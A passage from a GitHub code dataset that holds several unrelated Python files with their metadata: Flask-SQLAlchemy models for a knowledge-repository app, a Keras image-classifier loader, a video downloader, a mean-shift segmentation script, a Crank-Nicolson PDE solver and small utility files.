onupdate=datetime.datetime.utcnow)\n\n @classmethod\n def get(cls, type, name, default=None):\n m = db_session.query(IndexMetadata).filter(IndexMetadata.type == type).filter(IndexMetadata.name == name).first()\n if m is not None:\n return m.value\n return default\n\n @classmethod\n def set(cls, type, name, value):\n m = db_session.query(IndexMetadata).filter(IndexMetadata.type == type).filter(IndexMetadata.name == name).first()\n if m is not None:\n m.value = value\n else:\n m = IndexMetadata(type=type, name=name, value=value)\n db_session.add(m)\n\n @classmethod\n def get_last_update(cls, type, name):\n m = db_session.query(IndexMetadata).filter(IndexMetadata.type == type).filter(IndexMetadata.name == name).first()\n if m is not None:\n return m.updated_at\n return None\n\n\nclass PostAuthorAssoc(db.Model):\n __tablename__ = 'assoc_post_author'\n\n post_id = db.Column(db.Integer, db.ForeignKey(\"posts.id\"), nullable=False, primary_key=True)\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'), nullable=False, primary_key=True)\n order = db.Column(db.Integer)\n\n post = db.relationship('Post', lazy='joined')\n author = db.relationship('User', lazy='joined')\n\n\nassoc_post_tag = db.Table(\n 'assoc_post_tag',\n db.Model.metadata,\n db.Column('post_id', db.Integer, db.ForeignKey('posts.id')),\n db.Column('tag_id', db.Integer, db.ForeignKey('tags.id'))\n)\n\nassoc_post_group = db.Table(\n 'assoc_post_group',\n db.Model.metadata,\n db.Column('post_id', db.Integer, db.ForeignKey('posts.id')),\n db.Column('group_id', db.Integer, db.ForeignKey('groups.id'))\n)\n\nassoc_group_user = db.Table(\n 'assoc_group_user',\n db.Model.metadata,\n db.Column('group_id', db.Integer, db.ForeignKey('groups.id')),\n db.Column('user_id', db.Integer, db.ForeignKey('users.id'))\n)\n\n\nclass Comment(db.Model):\n __tablename__ = 'comments'\n\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer)\n post_id = db.Column(db.Integer)\n text = db.Column(db.Text)\n type = db.Column(db.String(100), default='post')\n created_at = db.Column(db.DateTime, default=func.now())\n updated_at = db.Column(db.DateTime, default=func.now(), onupdate=func.now())\n\n\nclass PageView(db.Model):\n __tablename__ = 'pageviews'\n\n id = db.Column(db.Integer, primary_key=True)\n page = db.Column(db.String(512))\n endpoint = db.Column(db.String(255))\n user_id = db.Column(db.Integer)\n object_id = db.Column(db.Integer)\n object_type = db.Column(db.String(100))\n object_action = db.Column(db.String(100))\n ip_address = db.Column(db.String(64))\n created_at = db.Column(db.DateTime, default=func.now())\n error_message = db.Column(db.Text())\n version = db.Column(db.String(100))\n\n class logged(object):\n\n def __init__(self, route, object_extractor=None):\n self._route = route\n self._object_extractor = object_extractor\n\n def __getattr__(self, attr):\n return getattr(self._route, attr)\n\n def __call__(self, *args, **kwargs):\n if not current_app.config.get('REPOSITORY_INDEXING_ENABLED', True):\n return self._route(*args, **kwargs)\n\n log = PageView(\n page=request.full_path,\n endpoint=request.endpoint,\n user_id=g.user.id,\n ip_address=request.remote_addr,\n version=__version__\n )\n log.object_id, log.object_type, log.object_action, reextract_after_request = self.extract_objects(*args, **kwargs)\n db_session.add(log)\n\n try:\n return self._route(*args, **kwargs)\n except Exception as e:\n tb = traceback.extract_tb(sys.exc_info()[2])\n log.error_message = type(e).__name__ + ': ' + str(e) + '\\nTraceback (most recent call last):\\n' + '\\n'.join(traceback.format_list(tb[1:]))\n raise_with_traceback(e)\n finally:\n # Extract object id and type after response generated (if requested) to ensure\n # most recent data is collected\n if reextract_after_request:\n log.object_id, log.object_type, log.object_action, _ = self.extract_objects(*args, **kwargs)\n\n db_session.rollback()\n db_session.add(log)\n db_session.commit()\n\n def object_extractor(self, extractor):\n self._object_extractor = extractor\n return self\n\n def extract_objects(self, *args, **kwargs):\n if self._object_extractor is None:\n return None, None, None, False\n try:\n object_info = self._object_extractor(*args, **kwargs)\n except Exception as e:\n logger.warning(\"Error using object extractor: \" + str(e))\n object_info = {'id': (-1), 'type': None}\n assert isinstance(object_info, dict), \"Object extractors must return a dictionary.\"\n assert len(set(['id', 'type']).difference(object_info.keys())) == 0 and len(set(object_info.keys()).difference(['id', 'type', 'action', 'may_change'])) == 0, \"Object extractors must at least include the keys 'id' and 'type', and optionally 'action' and 'may_change'. Was provided with: {}\".format(str(list(object_info.keys())))\n object_info = defaultdict(lambda: None, object_info)\n return object_info['id'], object_info['type'], object_info['action'], object_info['may_change'] or False\n\n\nclass Vote(db.Model):\n __tablename__ = 'votes'\n\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer)\n object_id = db.Column(db.Integer)\n object_type = db.Column(db.String(100), default='post')\n created_at = db.Column(db.DateTime, default=func.now())\n updated_at = db.Column(db.DateTime, default=func.now(), onupdate=func.now())\n\n\n@unique_constructor(\n lambda username: username,\n lambda query, username: query.filter(User.username == username)\n)\nclass User(db.Model):\n __tablename__ = 'users'\n\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(500))\n created_at = db.Column(db.DateTime, default=func.now())\n\n _posts_assoc = db.relationship(\"PostAuthorAssoc\")\n posts = association_proxy('_posts_assoc', 'post') # This property should not directly modified\n\n @property\n def format_name(self):\n username_to_name = current_repo.config.username_to_name\n return username_to_name(self.username)\n\n @property\n def get_subscriptions(self):\n \"\"\"Get the subscriptions associated with a user.\n\n Return an array of strings of tag_names\n \"\"\"\n subscriptions = (db.session.query(Subscription)\n .filter(Subscription.user_id == self.id)\n .all())\n out_subscriptions = []\n for s in subscriptions:\n if s.object_type == 'tag':\n tag_obj = (db.session.query(Tag)\n .filter(Tag.id == s.object_id)\n .first())\n if tag_obj:\n full_name = tag_obj.name\n out_subscriptions.append(full_name)\n else:\n db.session.delete(s)\n return out_subscriptions\n\n @property\n def get_liked_posts(self):\n \"\"\"\n :return: Posts that a user has liked\n :rtype: list\n \"\"\"\n votes = (db.session.query(Vote)\n .filter(Vote.user_id == self.id)\n .all())\n post_ids = [vote.object_id for vote in votes]\n if len(post_ids) == 0:\n return []\n excluded_tags = current_app.config.get('EXCLUDED_TAGS', [])\n posts = (db.session.query(Post)\n .filter(Post.id.in_(post_ids))\n .filter(~Post.tags.any(Tag.name.in_(excluded_tags)))\n .all())\n return posts\n\n\n@unique_constructor(\n lambda name: name,\n lambda query, name: query.filter(Tag.name == name)\n)\nclass Tag(db.Model):\n __tablename__ = 'tags'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(500))\n _description = db.Column('description', db.Text())\n created_at = db.Column(db.DateTime, default=func.now())\n\n @hybrid_property\n def description(self):\n if self._description:\n return self._description\n return \"All posts with tag '{}'.\".format(self.name)\n\n @description.expression\n def description(self):\n raise NotImplementedError\n\n\nclass Subscription(db.Model):\n __tablename__ = 'subscriptions'\n\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer)\n object_id = db.Column(db.Integer)\n object_type = db.Column(db.String(100)) # Currently just tag\n created_at = db.Column(db.DateTime, default=func.now())\n\n\nclass Post(db.Model):\n __tablename__ = 'posts'\n\n id = db.Column(db.Integer, primary_key=True)\n uuid = db.Column(db.String(100), unique=True)\n path = db.Column(db.String(512), unique=True)\n project = db.Column(db.String(512), nullable=True) # DEPRECATED\n repository = db.Column(db.String(512))\n revision = db.Column(db.Integer())\n\n title = db.Column(db.Text())\n tldr = db.Column(db.Text)\n keywords = db.Column(db.Text)\n thumbnail = db.Column(db.Text())\n\n private = db.Column(db.Integer())\n\n created_at = db.Column(db.DateTime, default=func.now())\n updated_at = db.Column(db.DateTime, default=func.now())\n\n _authors_assoc = db.relationship(\"PostAuthorAssoc\",\n order_by='PostAuthorAssoc.order',\n collection_class=ordering_list('order'),\n cascade=\"all, delete-orphan\")\n _authors = association_proxy('_authors_assoc', 'author',\n creator=lambda author: PostAuthorAssoc(author=author),)\n\n @hybrid_property\n def authors(self):\n return self._authors\n\n @authors.setter\n def authors(self, authors):\n \"\"\"\n Sets the tags of the post to the tags given in comma delimited string\n form in tags_string\n \"\"\"\n user_objs = []\n\n for author in authors:\n if not isinstance(author, User):\n author = author.strip()\n author = User(username=author)\n user_objs.append(author)\n\n self._authors = user_objs\n\n @hybrid_property\n def authors_string(self):\n return ', '.join([author.format_name for author in self.authors])\n\n @authors_string.expression\n def authors_string(self):\n raise NotImplementedError\n\n _tags = db.relationship(\"Tag\", secondary=assoc_post_tag, backref='posts',\n lazy='subquery')\n\n @hybrid_property\n def tags(self):\n return self._tags\n\n @tags.setter\n def tags(self, tags):\n \"\"\"\n Sets the tags of the post to the tags given in comma delimited string\n form in tags_string\n \"\"\"\n tag_objs = []\n\n for tag in tags:\n if not isinstance(tag, Tag):\n tag = tag.strip()\n if tag[0] == \"#\":\n tag = tag[1:]\n tag = Tag(name=tag)\n tag_objs.append(tag)\n\n self._tags = tag_objs\n\n @property\n def contains_excluded_tag(self):\n excluded_tags = current_app.config.get('EXCLUDED_TAGS', [])\n return any([tag.name in excluded_tags for tag in self.tags])\n\n _groups = db.relationship(\"Group\", secondary=assoc_post_group, backref='posts',\n lazy='subquery')\n\n @hybrid_property\n def groups(self):\n return self._groups\n\n @groups.setter\n def groups(self, groups):\n # given a list of group_names, we add it.\n group_objs = []\n\n for group in groups:\n if not isinstance(group, Group):\n group = Group(name=group.strip())\n group_objs.append(group)\n\n # create an implicit group, group_post.id, to add\n # single users to\n group = Group(name=\":post_group_\" + str(self.id))\n\n # this created group should have the author associated with it\n # so they can add people to the post\n group.users = self.authors\n group_objs.append(group)\n\n self._groups = group_objs\n\n _status = db.Column('status', db.Integer(), default=0)\n\n @hybrid_property\n def status(self):\n return current_repo.PostStatus(self._status or 0)\n\n @status.expression\n def status(self):\n return func.coalesce(self._status, 0)\n\n @status.setter\n def status(self, status):\n if status is None:\n self._status = None\n else:\n assert isinstance(status, KnowledgeRepository.PostStatus), \"Status must be an instance of KnowledgeRepository.PostStatus.Status or None\"\n self._status = status.value\n\n @hybrid_property\n def is_published(self):\n return self.status == current_repo.PostStatus.PUBLISHED\n\n @is_published.expression\n def is_published(self):\n return func.coalesce(self._status, 0) == current_repo.PostStatus.PUBLISHED.value\n\n _views = db.relationship(\"PageView\", lazy='dynamic',\n primaryjoin=\"and_(foreign(PageView.object_id)==Post.id, \"\n \"PageView.object_type=='post',\"\n \"PageView.object_action=='view')\")\n\n @hybrid_property\n def views(self):\n return self._views.all()\n\n @hybrid_property\n def view_count(self):\n return self._views.count()\n\n @view_count.expression\n def view_count(self):\n return (select([func.count(PageView.id)])\n .where(PageView.object_id == self.id)\n .where(PageView.object_type == 'post')\n .label(\"view_count\"))\n\n @hybrid_property\n def view_user_count(self):\n return (db.session.query(func.count(distinct(PageView.user_id)))\n .filter(PageView.object_id == self.id)\n .filter(PageView.object_type == 'post')\n .scalar())\n\n @view_user_count.expression\n def view_user_count(self):\n return (select([func.count(distinct(PageView.user_id))])\n .where(PageView.object_id == self.id)\n .where(PageView.object_type == 'post')\n .label(\"view_user_count\"))\n\n _votes = db.relationship(\"Vote\", lazy='dynamic',\n primaryjoin=\"and_(foreign(Vote.object_id)==Post.id, \"\n \"Vote.object_type=='post')\")\n\n @hybrid_property\n def votes(self):\n return self._votes.all()\n\n @hybrid_property\n def vote_count(self):\n \"\"\" Given the path of a post, return the total likes \"\"\"\n return self._votes.count()\n\n @vote_count.expression\n def vote_count(self):\n return (select([func.count(Vote.id)])\n .where(Vote.object_id == self.id)\n .where(Vote.object_type == 'post')\n .label(\"vote_count\"))\n\n def vote_counted_for_user(self, user_id):\n return (db_session.query(Vote)\n .filter(and_(Vote.object_id == self.id, Vote.object_type == 'post', Vote.user_id == user_id))\n .first()) is not None\n\n _comments = db.relationship(\"Comment\", lazy=\"dynamic\",\n primaryjoin=\"and_(foreign(Comment.post_id)==Post.id, \"\n \"Comment.type=='post')\")\n\n @hybrid_property\n def comments(self):\n return self._comments.all()\n\n @hybrid_property\n def comment_count(self):\n \"\"\" Given the path of the a post, return the total comments \"\"\"\n return self._comments.count()\n\n @comment_count.expression\n def comment_count(self):\n return (select([func.count(Comment.id)])\n .where(Comment.post_id == self.id)\n .where(Comment.object_type == 'post')\n .label(\"comments_count\"))\n\n @property\n def kp(self):\n return current_repo.post(self.path)\n\n @property\n def text(self):\n return self.kp.read()\n\n def update_metadata_from_kp(self, kp):\n \"\"\"\n :param kp: Maps fields of the model to values\n :type kp: KnowledgePost\n :param kp: Maps fields of the model to values\n :type kr: KnowledgeRepository\n :return: None\n :rtype: None\n \"\"\"\n headers = kp.headers\n\n self.uuid = kp.uuid\n self.path = kp.path\n self.project = headers.get('project')\n self.repository = kp.repository_uri\n self.revision = kp.revision\n self.title = headers['title']\n self.tldr = headers['tldr']\n self.authors = headers.get('authors', [])\n self.tags = headers.get('tags', [])\n self.keywords = get_keywords(self)\n self.thumbnail = kp.thumbnail_uri\n\n self.created_at = headers['created_at']\n self.updated_at = headers['updated_at']\n if self.created_at > self.updated_at:\n self.updated_at = self.created_at\n\n self.status = kp.status\n\n self.private = 0\n # we do this check so that no header (None) and False are treated the same\n if headers.get('private', ''):\n self.private = 1\n self.groups = headers.get('allowed_groups', [])\n\n\nclass Email(db.Model):\n\n __tablename__ = 'emails'\n\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer)\n trigger_id = db.Column(db.Integer)\n trigger_type = db.Column(db.String(100))\n object_id = db.Column(db.Integer)\n object_type = db.Column(db.String(100))\n sent_at = db.Column(db.DateTime, default=func.now())\n subject = db.Column(db.Text)\n text = db.Column(db.Text)\n\n\n@unique_constructor(\n lambda name: name,\n lambda query, name: query.filter(Group.name == name)\n)\nclass Group(db.Model):\n\n __tablename__ = 'groups'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(128), unique=True)\n\n _users = db.relationship(\"User\", secondary=assoc_group_user, backref='users',\n lazy='subquery')\n\n @hybrid_property\n def users(self):\n return self._users\n\n @users.setter\n def users(self, user_objs):\n self._users = self._users + user_objs\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/airbnb_knowledge-repo/knowledge-repo-master/knowledge_repo/app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":19927,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"21834797737","text":"import sys\nsys.path.append('.')\nsys.path.append('ia')\n\nimport csv\nimport numpy as np\nfrom ia_tools import dataset_creator\nfrom ia import resize_algorithm as ra\nimport autokeras as ak\nimport keras.models as km\nimport os\n\n\nimport sys\nsys.path.append('.')\nfrom config import config \n\nPATH_CSV = config.get('IA.Model.PATH_CSV')\nDATAS_PATH = config.get('IA.Model.DATAS_PATH')\nPATH_RESIZED_SAVE = config.get('IA.Model.PATH_RESIZED_SAVE')\nMODEL_NAME_H5 = config.get('IA.Model.MODEL_NAME_H5')\nMODEL_NAME = config.get('IA.Model.MODEL_NAME')\nIMAGE_SIZE = config.get('IA.IMAGE_SIZE')\nSAVED_N_BEST = config.get('IA.SAVED_N_BEST')\n\nclass Model:\n\tdef __init__(self):\n\t\t\"\"\"\n\t\tN.B: if the model not exist we generate it else we load the model.\n\t\t\"\"\"\n\t\tif not Model._exist_model():\n\t\t\tself._generate_model()\n\t\telse:\n\t\t\tself._load_model()\n\t\tself._generate_labels()\n\n\n\tdef predict_one(self,image):\n\t\t\"\"\"\n\t\t:param image: single image in numpy format.\n\t\t:return: a tuple of two elements with :\n\t\t\tthe first one : a string label that describes the species of the plant in the image\n\t\t\tthe second one : a list of pair ( label , trust ) with the n best species.\n\t\t\"\"\"\n\t\timage = np.reshape(image,(1,image.shape[0],image.shape[1],3))\n\t\tprediction = self._loaded_model.predict(image)[0]\n\t\tmaximum = np.where(prediction == np.max(prediction))[0][0]\n\t\tbestLabel = self._label_list[maximum]\n\t\tbestsPredictionsIndex = np.argpartition( prediction , SAVED_N_BEST )[-SAVED_N_BEST:]\n\t\tbestsPredictions = [ (self._label_list[ pId ],prediction[ pId]) for pId in bestsPredictionsIndex ]\n\t\treturn bestLabel,bestsPredictions\n\n\tdef _generate_model(self,max_trials=1):\n\t\t\"\"\"\n\t\t:return: None\n\t\tN.B : Train the model and save it.\n\t\t\"\"\"\n\t\t# train the model\n\t\tX_train, X_test, y_train, y_test = dataset_creator(DATAS_PATH,PATH_RESIZED_SAVE,ra.img_crop_all,IMAGE_SIZE)\n\t\tclf = ak.ImageClassifier(overwrite=True, max_trials=max_trials)\n\t\tclf.fit(\n\t\t\tX_train,\n\t\t\ty_train,\n\t\t\tvalidation_data=(X_test, y_test)\n\t\t)\n\t\t# save the model\n\t\tmodel = clf.export_model()\n\t\ttry:\n\t\t\tmodel.save(MODEL_NAME, save_format=\"tf\")\n\t\texcept Exception:\n\t\t\tmodel.save(MODEL_NAME_H5)\n\n\tdef _load_model(self):\n\t\t\"\"\"\n\t\t:return: None\n\t\tN.B : Load the model\n\t\t\"\"\"\n\t\tif os.path.exists(MODEL_NAME):\n\t\t\tself._loaded_model = km.load_model(MODEL_NAME, custom_objects=ak.CUSTOM_OBJECTS)\n\t\telse:\n\t\t\tself._loaded_model = km.load_model(MODEL_NAME_H5)\n\n\tdef _generate_labels(self):\n\t\t\"\"\"\n\t\t:return: None\n\t\tN.B : generate the list of the labels\n\t\t\"\"\"\n\t\twith open(PATH_CSV, newline='') as csvfile:\n\t\t\tcsv_list = list(csv.reader(csvfile, delimiter=','))[1:]\n\t\t\tself._label_list = list(set([list(line)[3] for line in csv_list if list(line)[3].isdigit()]))\n\t\t\tself._label_list.sort()\n\n\t@staticmethod\n\tdef _exist_model():\n\t\t\"\"\"\n\t\t:return: True if the folder of the model exist otherwise False\n\t\t\"\"\"\n\t\tprint(\"MODEL :\",os.path.exists(MODEL_NAME),os.path.exists(MODEL_NAME_H5))\n\t\treturn os.path.exists(MODEL_NAME) or os.path.exists(MODEL_NAME_H5)\n\n\n\n\n\n\n","repo_name":"Jardins-Angevins/JA-Back","sub_path":"ia/model_loader.py","file_name":"model_loader.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5913962620","text":"#verificar se um número é par:\n\n\ndef verificarPar(numero):\n\tif numero / 2 == 1 or numero == 0:\n\t\treturn True\n\telse:\n\t\treturn False\n\treturn verificarPar(numero/2)\n\n\n\n\n\n\ndef resp(valor):\n\tif verificarPar(valor):\n\t\tprint(valor, \"é Par\")\n\telse:\n\t\tprint(valor, \"é Inpar\")\n\n\n\nresp(0)\nresp(1)\nresp(2)\nresp(3)\nresp(4)\nresp(5)\nresp(6)\nresp(7)\nresp(8)\nresp(9)\nresp(10)\n\n\n","repo_name":"RafaelMuniz94/Primeiros-Passos","sub_path":"Exercicios/Aula/ex3Aula.py","file_name":"ex3Aula.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22384660459","text":"import os\nimport time\nfrom typing import Callable\n\nimport requests\n\nfrom cda_downloader.common import SessionManager\nfrom cda_downloader.config import config\n\n\nclass Downloader:\n def __init__(\n self,\n url: str,\n name: str,\n path: str,\n retry: int = 10,\n session: requests.Session = None,\n timeouts: tuple[int, int] | list[int, int] = None,\n task_id: int = None,\n progress_bar_update: Callable = None,\n ):\n self.url: str = url\n self.timeouts: tuple = timeouts if timeouts else config['download_timeouts']\n self.name: str = name\n self.path: str = path\n self.retry_count: int = 0\n self.init_retry: int = retry\n self.bytes_downloaded: int = 0\n self.chunk_size: int = config['chunk_size']\n self.session: requests.Session = session if session else SessionManager.get_session()\n self.total: int = 0\n self.task_id: int = task_id\n self.progress_bar_update: Callable = progress_bar_update if progress_bar_update else lambda *args, **kwargs: None\n\n def request(self, url: str, bit: int = 0):\n response = self.session.get(url, timeout=self.timeouts, stream=True)\n self.total = int(response.headers.get(\"Content-Length\", 0))\n self.progress_bar_update(self.task_id, total=self.total, refresh=True)\n\n for data in response.iter_content(self.chunk_size):\n self.bytes_downloaded += len(data)\n yield data\n\n if response.status_code in (302,):\n for data in self.request(response.headers['Location'], bit=bit):\n yield data\n\n def download_mp4(self):\n path = os.path.join(self.path, self.name + '.mp4')\n if os.path.exists(path):\n os.remove(path)\n\n while self.init_retry - self.retry_count:\n try:\n with open(path, 'wb+') as out:\n for data in self.request(self.url):\n out.write(data)\n self.progress_bar_update(self.task_id, completed=self.bytes_downloaded, refresh=True)\n return True\n except Exception as e:\n print(e)\n if os.path.exists(path):\n os.remove(path)\n self.total = 0\n self.bytes_downloaded = 0\n self.retry_count += 1\n time.sleep(1)\n\n raise ConnectionRefusedError(\"retry limit reached!\")\n","repo_name":"sovereign527/cda_downloader","sub_path":"cda_downloader/downloader/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"3897587213","text":"\ndef pre_main_opts(parser):\n # Selected datasets\n parser.add_argument(\n \"--datasets\",\n choices=[\n \"fpa\",\n ],\n nargs=\"+\",\n default=['fpa'],\n help=\"datasets\",\n )\n\n parser.add_argument(\n \"--module_path\",\n type=str,\n default=osp.join(osp.dirname(osp.abspath(__file__)), 'models'),\n help=\"module_path\",\n )\n parser.add_argument(\n \"--net_type\",\n type=str,\n default='regnetv2mv2',\n help=\"training config continue_train\",\n )\n\nimport os\nimport os.path as osp\n\ndef post_main_opts(config):\n from data.fpa.fpa import FPA\n from data.reg3d_dataset import RegDataset\n config.dataset_class = RegDataset\n\n _db = []\n for _dataset in config.datasets:\n if _dataset == 'fpa':\n _db.append(FPA)\n else:\n raise ('don\\' know db')\n config.test_dbs = _db\n\n config.test_epoch = 4\n\nimport argparse\nparser = argparse.ArgumentParser(description='reg')\npre_main_opts(parser)\nargs = parser.parse_args()\npost_main_opts(args)\n","repo_name":"zengliangjun/hand2dTo3d","sub_path":"options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4029050033","text":"import numpy as np\nfrom sklearn.cluster import MeanShift, estimate_bandwidth\nimport cv2\nfrom collections import defaultdict\n\nimage = cv2.imread('IMG_2805.JPG')\nimage = cv2.imread('IMG_7760E8D6E09D-1.jpeg')\nh, w, _ = image.shape\n\nflat_image = np.reshape(image, [-1, 3])\n\nbandwidth2 = estimate_bandwidth(flat_image,\n quantile=.2, n_samples=500)\nmean_shift = MeanShift(bandwidth2, bin_seeding=True)\nmean_shift.fit(flat_image)\nlabels = mean_shift.labels_\nlabels = np.reshape(labels, [h, w])\n\nlabel_values = defaultdict(list)\nfor y in range(h):\n for x in range(w):\n label_values[labels[y, x]].append(image[y, x])\n\nmean_values = {}\nfor label in label_values:\n label_values[label] = np.array(label_values[label]).astype('uint8')\n mean_values[label] = np.mean(label_values[label], 0).astype('uint8')\n\nnew_image = image.copy()\nfor y in range(h):\n for x in range(w):\n new_image[y, x] = mean_values[labels[y, x]]\n\n\n#cv2.imwrite('im05.jpg', new_image)\ncv2.imwrite('saleh2.jpg', new_image)\n","repo_name":"sahelyiyi/ImageProcessingCourse","sub_path":"HW3/Q2.py","file_name":"Q2.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35438044341","text":"import numpy as np\nfrom math import * \nfrom scipy import sparse\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D #3d模块\n\ndef init():\n '''\n input:\n output:\n A,B: 系数矩阵\n U: 网格矩阵\n x,t: 网格节点 x为空间层,t 为时间层\n h,tao: 空间和时间上的步长\n J: 空间上的区间等分数\n N: 时间上的区间等分数\n '''\n x_0, x_J = 0, 1\n t_0, t_N =0, 1\n #时间和空间上的步长\n h, tao =1/80, 1/3200\n r= ceil((1/(h*h))/(1/tao))\n #列数\n J=int((x_J-x_0)/h)\n #行数\n N=int((t_N-t_0)/tao)\n \n x=[x_0+j*h for j in range(J+1)]\n t=[t_0+n*tao for n in range(N+1)]\n # U\n U = np. zeros((N+1,J+1))\n U[0,:] = np.cos((np.multiply(pi,x)))\n \n # 设计A矩阵\n v1 = [1/tao+1/(h*h)]* (J+1)\n v2 = [-1/(2*h*h)]*(J+1)\n matrix = np.array([v2,v1,v2])\n #三对角矩阵\n A = sparse.spdiags(matrix,[-1,0,1],J+1,J+1).T.A\n A[0][1] = -1/(h*h)\n A[J][J-1]= -1/(h*h)\n # 设计B矩阵\n # 设计A矩阵\n v1 = [1/tao-1/(h*h)]* (J+1)\n v2 = [1/(2*h*h)]*(J+1)\n matrix = np.array([v2,v1,v2])\n #三对角矩阵\n B = sparse.spdiags(matrix,[-1,0,1],J+1,J+1).T.A\n B[0][1], B[J][J-1]= 1/(h*h), 1/(h*h)\n #np.savetxt(r\"C:\\Users\\c2752\\Desktop\\resources\\weifenfangchengcode\\paowufangcheng\\A.txt\",A)\n #np.savetxt(r\"C:\\Users\\c2752\\Desktop\\resources\\weifenfangchengcode\\paowufangcheng\\B.txt\",B)\n\n return A,B,U,x,t,h,tao,(J,N)\n\n\ndef jingquejie(x,t):\n '''\n input:\n x,t: 网格节点\n output:\n U : 精确解矩阵\n '''\n fig = plt.figure()\n ax = Axes3D(fig, auto_add_to_figure =False)\n fig.add_axes(ax)\n [X,Y] = np.meshgrid(x,t)\n U=np.exp(-pi*pi*Y)*np.cos(pi*X)+(1-np.cos(Y))\n ax.plot_surface(X,Y,U,cmap=plt.cm.winter)\n plt.show()\n return U\n\ndef plotdata(x,t,U):\n '''\n input:\n x,t : 网格节点\n U : 网格矩阵\n '''\n fig = plt.figure()\n ax = Axes3D(fig, auto_add_to_figure =False)\n fig.add_axes(ax)\n [X,Y] = np.meshgrid(x,t)\n # TODO 查清楚x, t 的位置关系。\n # TODO 将精确解的图像话出来比较一下。\n ax.plot_surface(X,Y,U,cmap=plt.cm.winter)\n #plt.show()\n\n\ndef F(ti,ti1,J):\n '''\n input:\n ti,ti1 : 时刻t(i) t(i+1)\n J: 空间上区间的等分数\n output:\n b : 抛物方程中的右端项\n '''\n temp = (sin(ti)+sin(ti1))/2\n b = np.array([temp]*(J+1))\n b = b.reshape(J+1,1)\n \n return b\n\ndef CrankNicolson(A,B,U,T,J,N):\n '''\n input :\n A,B: 系数矩阵\n U: 网格矩阵\n T: 网格节点(时间)\n J,N: 空间和时间上的区间的等分数\n output:\n U : 网格矩阵 \n '''\n Un = np.array(U[0,:]).T# (J+1) by 1\n A_inv = np.linalg.inv(A) # (J+1) by (J+1)\n temp = np.zeros((J+1,1)) # (J+1) by 1\n for i in range(N):\n b = F(T[i],T[i+1],J) # (J+1) by 1\n temp = np.dot(B,Un).reshape((J+1),1) + b\n Un_1 = np.dot(A_inv,temp)\n temp1 = Un_1.T.reshape(-1,)\n U[i+1,:] = temp1\n Un=np.array(U[i+1,:]).T\n return U\n # np.savetxt(r\"C:\\Users\\c2752\\Desktop\\resources\\weifenfangchengcode\\paowufangcheng\\U.txt\",U)\n\n\ndef collectdata(U,U1):\n x = [16*i for i in range(1,6,1)]\n a = []\n b = []\n for i in x:\n a.append(U[-1,i])\n b.append(U1[-1,i])\n print(a,\"\\n\",b)\n\n\ndef main():\n A, B, U, x, t, h, tao, D= init()\n U = CrankNicolson(A,B,U,t,D[0],D[1])\n plotdata(x,t,U)\n U1 = jingquejie (x,t)\n collectdata(U,U1)\n\nmain()","repo_name":"bobweein/Curriculum-design","sub_path":"Numerical solution of differential equations/Parabolic equation/CrankNicolson.py","file_name":"CrankNicolson.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35750821312","text":"# -*- encoding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport sys\nimport inspect\nimport tempfile\nimport torchvision.transforms as transforms\nimport torchvision.models as models\nfrom datetime import datetime\nfrom os import rename, path\nfrom utils import *\n\n\ndef match_fou_clean2(x):\n s = x.split('/')[-1].split('_')\n return s[0] + s[1]\n\n\ndef match_video(x):\n return x.split('/')[-1].split('-')[0]\n\n\ndef match_oxford(x):\n return x.split('/')[-1].split('_')[0]\n\n\nimage_sizes = {\n 'CLICIDE': (3, 224, 224),\n 'CLICIDE_max_224sq': (3, 224, 224),\n 'CLICIDE_video_227sq': (3, 227, 227),\n 'CLICIDE_video_224sq': (3, 224, 224),\n 'CLICIDE_video_384': (3, 224, 224),\n 'fourviere_clean2_224sq': (3, 224, 224),\n 'fourviere_clean2_384': (3, 224, 224),\n 'oxford5k_video_224sq': (3, 224, 224),\n 'oxford5k_video_384': (3, 224, 224)\n}\n\nnum_classes = {\n 'CLICIDE': 464,\n 'CLICIDE_max_224sq': 464,\n 'CLICIDE_video_227sq': 464,\n 'CLICIDE_video_224sq': 464,\n 'CLICIDE_video_384': 464,\n 'fourviere_clean2_224sq': 311,\n 'fourviere_clean2_384': 311,\n 'oxford5k_video_224sq': 17,\n 'oxford5k_video_384': 17\n}\n\nfeature_sizes = {\n (models.alexnet, (3, 224, 224)): (6, 6),\n (models.resnet152, (3, 224, 224)): (7, 7),\n (models.resnet152, (3, 227, 227)): (8, 8)\n}\n\nmean_std_files = {\n 'CLICIDE': 'data/CLICIDE_224sq_train_ms.txt',\n 'CLICIDE_video_227sq': 'data/cli.txt',\n 'CLICIDE_video_224sq': 'data/CLICIDE_224sq_train_ms.txt',\n 'CLICIDE_max_224sq': 'data/CLICIDE_224sq_train_ms.txt',\n 'CLICIDE_video_384': 'data/CLICIDE_384_train_ms.txt',\n 'fourviere_clean2_224sq': 'data/fourviere_224sq_train_ms.txt',\n 'fourviere_clean2_384': 'data/fourviere_384_train_ms.txt',\n 